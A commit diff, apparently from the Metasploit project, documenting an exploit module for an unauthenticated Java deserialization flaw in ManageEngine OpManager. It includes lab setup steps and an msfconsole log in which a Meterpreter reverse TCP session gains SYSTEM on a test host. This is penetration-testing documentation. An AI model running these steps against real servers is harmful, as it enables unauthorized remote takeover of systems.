Write up the module docs

Author: zeroSteiner

documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md

@@ -0,0 +1,90 @@
+## Vulnerable Application
+
+### Description
+
+An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an
+arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of
+the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other
+products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 -
+12.5.232.
+
+### Setup (Windows)
+
+1. Download an affected version for either Windows or Linux from the [archive][0]
+1. Run the installer executable
+1. Accept the default values for all settings (skip registration), until the very end when prompted to start the
+  application
+1. Unselect the option to start the application
+    1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the
+      option to stop it
+1. Start a command prompt as an administrative user
+1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin`
+1. Run `run.bat`
+1. View and accept the license terms
+1. Press `f` to run the product in Free mode
+
+OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the
+session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and
+OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT
+AUTHORITY\SYSTEM.
+
+### Setup (Linux)
+
+1. Download an affected version for either Windows or Linux from the [archive][0]
+1. Run the installer executable as root
+1. Accept the default values for all settings (skip registration)
+1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin`
+1. Run `run.sh` as root
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization`
+1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary
+1. Do: `run`
+1. You should get a shell.
+
+## Options
+
+## Scenarios
+
+### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174
+
+```
+msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization 
+[*] Using configured payload cmd/windows/powershell_reverse_tcp
+msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10
+RHOSTS => 192.168.159.10
+msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell 
+TARGET => Windows PowerShell
+msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
+PAYLOAD => windows/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 
+LHOST => 192.168.159.128
+msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check
+[*] 192.168.159.10:8060 - The target appears to be vulnerable.
+msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit
+
+[*] Started reverse TCP handler on 192.168.159.128:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable.
+[*] An HTTP session cookie has been issued
+[*] The request handler has been associated with the HTTP session
+[*] Sending stage (200262 bytes) to 192.168.159.10
+[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > sysinfo
+Computer        : WIN-3MSP8K2LCGC
+OS              : Windows 2016+ (10.0 Build 17763).
+Architecture    : x64
+System Language : en_US
+Domain          : MSFLAB
+Logged On Users : 7
+Meterpreter     : x64/windows
+meterpreter >
+```
+
+[0]: https://archives.manageengine.com/opmanager/

modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb

@@ -20,7 +20,8 @@ def initialize(info = {})
           An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to
           deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS
           commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This
-          vulnerability is also present in other products that are built on top of the OpManager application.
+          vulnerability is also present in other products that are built on top of the OpManager application. This
+          vulnerability affects OpManager versions 12.1 - 12.5.232.
         },
         'Author' => [
           'Johannes Moritz', # Original Vulnerability Research